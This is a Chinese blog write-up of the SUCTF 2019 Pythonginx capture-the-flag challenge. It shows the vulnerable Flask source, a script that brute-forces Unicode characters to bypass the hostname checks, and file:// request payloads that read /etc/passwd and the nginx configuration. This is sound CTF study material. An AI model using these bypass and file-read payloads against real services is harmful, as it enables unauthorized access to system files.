[SUCTF 2019]Pythonginx简单做题思路

前言

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

题目

在这里插入图片描述
题目还给了个源码

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

s
大概就是需要绕过前2个if直到最后的if来进行读取任意文件,但这3个if都需要等于suctf.cc
我莫得办法了,去看了看wp,大佬说这是有关blackhat议题HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization的题目,议题PPT链接如下:
https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
反正我是看不懂,但看了大佬的操作,差不多就明白一点了,无非就是当URL 中出现一些特殊字符的时候,输出的结果可能不在预期这句话。
大佬文章链接:https://www.cnblogs.com/Cl0ud/p/12187204.html

做法就是将suctf.cc其中一个字符(这里做题选定的是该字符串最后一个字符c),更改为其它特殊字符,再进行编码,便可达到逃逸该脚本构造的语句。
借大佬的脚本:

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass
 
def getUrl(url):
    url=url
    host=parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts=list(urlsplit(url))
    host=parts[1]
    if host == 'suctf.cc':
        return False
    newhost=[]
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1]='.'.join(newhost)
    finalUrl=urlunsplit(parts).split(' ')[0]
    host=parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False
 
 
if __name__=='__main__':
    get_unicode()

可能讲述的会有些含糊,因为现在做题的我也是半知半懂,但是看了下面的payload可能就明白了
在这里插入图片描述
我们只需要用其中任意一个去读取文件就可以了
比如:

getUrl?url=file://suctf.c%E2%84%82/…/…/…/…/…/etc/passwd

在这里插入图片描述
url中原本最后一个c的位置,更改为类c的特殊字符就能查看任意文件
然后wp说需要看nginx的配置文件才能知道flag在哪里

getUrl?url=file://suctf.c%E2%84%82/…/…/…/…/…/…/usr/local/nginx/conf/nginx.conf

在这里插入图片描述
然后读取flag
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值